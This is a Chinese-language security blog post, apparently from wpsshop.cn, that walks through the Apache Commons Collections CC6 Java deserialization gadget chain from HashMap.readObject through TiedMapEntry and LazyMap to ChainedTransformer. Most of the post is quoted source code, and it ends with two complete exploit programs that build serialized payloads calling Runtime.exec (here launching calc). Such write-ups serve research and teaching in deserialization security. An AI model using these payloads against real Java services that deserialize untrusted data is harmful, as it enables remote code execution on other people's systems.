赞
踩
前文:
上面这篇文章提到,只要调用的LazyMap的get方法,就可以最终完成transform的调用。
在高版本下,CC1不再能打通,CC6依然通用,其反序列化入口不再是AnnotationInvocationHandler,而是HashMap
HashMap的readObject方法,最后调用了hash(key)
其实这里师傅们应该很熟悉,和URLDNS链的入口一样
- private void readObject(java.io.ObjectInputStream s)
- throws IOException, ClassNotFoundException {
- // Read in the threshold (ignored), loadfactor, and any hidden stuff
- s.defaultReadObject();
- reinitialize();
- if (loadFactor <= 0 || Float.isNaN(loadFactor))
- throw new InvalidObjectException("Illegal load factor: " +
- loadFactor);
- s.readInt(); // Read and ignore number of buckets
- int mappings = s.readInt(); // Read number of mappings (size)
- if (mappings < 0)
- throw new InvalidObjectException("Illegal mappings count: " +
- mappings);
- else if (mappings > 0) { // (if zero, use defaults)
- // Size the table using given load factor only if within
- // range of 0.25...4.0
- float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
- float fc = (float)mappings / lf + 1.0f;
- int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
- DEFAULT_INITIAL_CAPACITY :
- (fc >= MAXIMUM_CAPACITY) ?
- MAXIMUM_CAPACITY :
- tableSizeFor((int)fc));
- float ft = (float)cap * lf;
- threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
- (int)ft : Integer.MAX_VALUE);
-
- // Check Map.Entry[].class since it's the nearest public type to
- // what we're actually creating.
- SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
- @SuppressWarnings({"rawtypes","unchecked"})
- Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
- table = tab;
-
- // Read the keys and values, and put the mappings in the HashMap
- for (int i = 0; i < mappings; i++) {
- @SuppressWarnings("unchecked")
- K key = (K) s.readObject();
- @SuppressWarnings("unchecked")
- V value = (V) s.readObject();
- putVal(hash(key), key, value, false, false);
- }
- }
- }
跟进hash(key)最后调用了key.hashCode()
- static final int hash(Object key) {
- int h;
- return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
- }
接下来我们只要找到能被利用的hashCode方法即可
找到了TiedMapEntry(tme)
它的初始化方法是传一个map,传一个key
- public TiedMapEntry(Map map, Object key) {
- this.map = map;
- this.key = key;
- }
其hashCode方法调用了getValue方法
- public int hashCode() {
- Object value = this.getValue();
- return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
- }
getValue方法调用了传入的map的get方法去找传入的key,我们只要传入一个LazyMap就可以完成攻击链的构造 (前提是传入的key在LazyMap的HashMap里不能找到对应的value,否则因为懒加载机制,后续不能调用LazyMap中传入的map.transform)
- public Object getValue() {
- return this.map.get(this.key);
- }
LazyMap方法的get方法:
- public Object get(Object key) {
- if (!this.map.containsKey(key)) {
- Object value = this.factory.transform(key);
- this.map.put(key, value);
- return value;
- } else {
- return this.map.get(key);
- }
- }
而需要注意的是:
构造入口的HashMap在put(tme,'xxx')时会调用传入的keyTiedMapEntry的hashCode方法
- public V put(K key, V value) {
- return putVal(hash(key), key, value, false, true);
- }
从而让LazyMap的get方法在反序列化前已经被调用了一次,也就是此时LazyMap中的HashMap里已经已经存在了这样一组键值对:key=>transform('key')
- if (!this.map.containsKey(key)) {
- Object value = this.factory.transform(key);
- this.map.put(key, value);
- return value;
- }
那么再反序列化时再次走到LazyMap的get方法时,此时LazyMap的HashMap中已经有了'key'与对应的value,因为懒加载机制,不会去调用factory.transform方法,而是直接返回value的值。
- else {
- return this.map.get(key);
- }
这样达不到反序列化攻击的效果,所以我们必须在入口HashMap调用put(tme,'value')后删除掉LazyMap中HashMap已经存在的KV对。
因为LazyMap是抽象类AbstractMapDecorator的具体实现,而remove方法没有重载,就直接extends了抽象类的remove方法,这个remove方法的意思是删除LazyMap中HashMap的一组KV对,可以达到我们的目的。
- public Object remove(Object key) {
- return this.map.remove(key);
- }
再经过一些细微的调整,便能构造exp:
- package com.CC6;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- public class CC6 {
- public static void main(String[] args) throws Exception {
- Transformer[] fakeTransformers = new Transformer[] {new
- ConstantTransformer(1)};
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {
- String.class,
- Class[].class }, new Object[] { "getRuntime",
- new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {
- Object.class,
- Object[].class }, new Object[] { null, new
- Object[0] }),
- new InvokerTransformer("exec", new Class[] { String.class
- },
- new String[] { "calc.exe" }),
- new ConstantTransformer(1),
- };
- Transformer transformerChain = new
- ChainedTransformer(fakeTransformers);
- // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
- outerMap.remove("keykey");
- Field f =
- ChainedTransformer.class.getDeclaredField("iTransformers");
- f.setAccessible(true);
- f.set(transformerChain, transformers);
- // ==================
- // ⽣成序列化字符串
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(expMap);
- oos.close();
- // 本地测试触发
- System.out.println(barr);
- ObjectInputStream ois = new ObjectInputStream(new
- ByteArrayInputStream(barr.toByteArray()));
- Object o = (Object)ois.readObject();
- }
- }
exp:
- package com.CC6;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Array;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- public class CC6 {
- public static void main(String[] args) throws
- Exception {
- Transformer[] transformers = new Transformer[]
- {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer(
- "getMethod", new Class[]
- {String.class, Class[].class}, new Object[]
- {"getRuntime", null}),
- new InvokerTransformer(
- "invoke", new Class[]
- {Object.class, Object[].class}, new Object[]
- {Runtime.class, null}),
- new InvokerTransformer(
- "exec", new Class[]
- {String.class}, new Object[]{"calc"})
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map map = new HashMap();
- Map lazyMap = LazyMap.decorate(map, transformerChain);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "x");
- Map expMap = makeMap(tiedMapEntry, "xxx");
- System.out.println("No calculator Pop :)");
- Thread.sleep(5000);
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(expMap);
- oos.close();
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
- ois.readObject();
- }
-
- public static Map makeMap(Object key, Object value) throws Exception {
- HashMap<Object, Object> map = new HashMap<>();
- // 设置size为1
- setFieldValue(map, "size", 1);
- // 构造Node
- Class<?> nodeClazz = Class.forName("java.util.HashMap$Node");
- Constructor<?> nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz);
- nodeCons.setAccessible(true);
- Object node = nodeCons.newInstance(0, key, value, null);
- // 构造tables
- Object tbl = Array.newInstance(nodeClazz, 1);
- Array.set(tbl, 0, node);
- setFieldValue(map, "table", tbl);
- return map;
- }
-
- public static void setFieldValue(Object obj,
- String name, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj, value);
- }
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。